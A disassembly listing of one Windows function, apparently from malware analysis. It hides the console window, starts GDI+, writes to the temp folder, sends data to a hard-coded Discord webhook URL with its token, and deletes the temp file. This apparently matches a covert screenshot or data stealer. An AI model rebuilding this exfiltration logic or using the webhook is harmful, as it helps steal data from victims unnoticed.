Function at 0x140003680
Capabilities:
Delete file
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0x1e0]
sub rsp, 0x2e0
mov rax, qword [0x14000c040]
xor rax, rsp
mov qword [rbp + 0x1d0], rax
xor r12d, r12d
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov dword [rsp + 0x38], 1
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x48], r12
xor r8d, r8d
lea rdx, [rsp + 0x38]
lea rcx, [0x14000caf0]
call qword [sym.imp.gdiplus.dll_GdiplusStartup]
lea rdx, [rbp - 0x40]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
lea rcx, [rbp - 0x68]
call fcn.140003340
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x48], xmm1
lea rax, [rbp - 0x40]
mov rbx, 0xffffffffffffffff
nop dword [rax]
inc rbx
cmp word [rax + rbx*2], 0
jne 0x140003730
movabs rsi, 0x7ffffffffffffffe
cmp rbx, rsi
ja 0x140003ac3
cmp rbx, 7
ja 0x140003780
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x50], 7
add rbx, rbx
mov r8, rbx
lea rdx, [rbp - 0x40]
lea rcx, [rsp + 0x38]
call sub.VCRUNTIME140.dll_memcpy
mov word [rsp + rbx + 0x38], r12w
jmp 0x140003830
mov rax, rbx
or rax, 7
cmp rax, rsi
jbe 0x1400037cb
movabs rax, 0x7fffffffffffffff
lea rcx, [rax + rax]
cmp rcx, 0x1000
jb 0x140003802
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140003ac9
mov rcx, rax
call fcn.140006674
test rax, rax
je 0x1400037fb
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x14000380a
mov rsi, rax
mov ecx, 0xa
cmp rax, rcx
cmovb rsi, rcx
lea rcx, [rsi + 1]
movabs rax, 0x7fffffffffffffff
cmp rcx, rax
ja 0x140003ac9
add rcx, rcx
jne 0x14000379a
mov rdi, r12
jmp 0x14000380a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140006674
mov rdi, rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x50], rsi
add rbx, rbx
mov r8, rbx
lea rdx, [rbp - 0x40]
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov word [rbx + rdi], r12w
lea r9, [rbp - 0x68]
mov rdi, qword [rbp - 0x68]
mov r14, qword [rbp - 0x50]
cmp r14, 7
cmova r9, rdi
mov r15, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
sub rax, r15
mov rsi, qword [rbp - 0x58]
cmp rsi, rax
ja 0x140003895
lea rax, [r15 + rsi]
mov qword [rsp + 0x48], rax
lea rbx, [rsp + 0x38]
cmp rcx, 7
cmova rbx, qword [rsp + 0x38]
lea rcx, [rbx + r15*2]
lea r8, [rsi + rsi]
mov rdx, r9
call sub.VCRUNTIME140.dll_memmove
lea rax, [rsi + r15]
mov word [rbx + rax*2], r12w
lea rax, [rsp + 0x38]
jmp 0x1400038af
mov qword [rsp + 0x20], rsi
mov rdx, rsi
lea rcx, [rsp + 0x38]
call fcn.140005c10
mov r14, qword [rbp - 0x50]
mov rdi, qword [rbp - 0x68]
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x70], r12
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x58], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x68], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 7
mov word [rax], r12w
mov rdx, qword [rsp + 0x50]
cmp rdx, 7
jbe 0x140003927
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003922
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003922
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400068f0
movdqa xmm0, xmmword [0x140008c60]
movdqu xmmword [rsp + 0x48], xmm0
mov word [rsp + 0x38], r12w
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x78], xmm1
mov r8d, 0x79
lea rdx, str.https:__discord.com_api_webhooks_1292594829162840188_bpjs5nMRCxTyhbbhpjxaP82549VSq_udV_sztvcGoD9pfcgPFlMANq_Uda1IZ_S47twl
lea rcx, [rsp + 0x78]
call fcn.140005680
nop
lea rcx, [rsp + 0x58]
call fcn.140001a20
lea rdx, [rsp + 0x78]
lea rcx, [rsp + 0x58]
call fcn.140001f90
mov rcx, qword [0x14000caf0]
call qword [sym.imp.gdiplus.dll_GdiplusShutdown]
cmp qword [rsp + 0x68], 0
je 0x1400039a9
lea rcx, [rsp + 0x58]
cmp qword [rsp + 0x70], 7
cmova rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
nop
mov rdx, qword [rbp - 0x70]
cmp rdx, 0xf
jbe 0x1400039e8
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400039e3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400039e3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400068f0
movdqa xmm0, xmmword [0x140008c70]
movdqu xmmword [rbp - 0x78], xmm0
mov byte [rsp + 0x78], 0
mov rdx, qword [rsp + 0x70]
cmp rdx, 7
jbe 0x140003a3f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003a3a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003a3a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400068f0
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x70], 7
mov word [rsp + 0x58], r12w
cmp r14, 7
jbe 0x140003a91
lea rdx, [r14*2 + 2]
mov rax, rdi
cmp rdx, 0x1000
jb 0x140003a89
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003a89
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rdi
call fcn.1400068f0
xor eax, eax
mov rcx, qword [rbp + 0x1d0]
xor rcx, rsp
call fcn.1400062d0
lea r11, [rsp + 0x2e0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.1400011d0
nop
call fcn.140001130
int3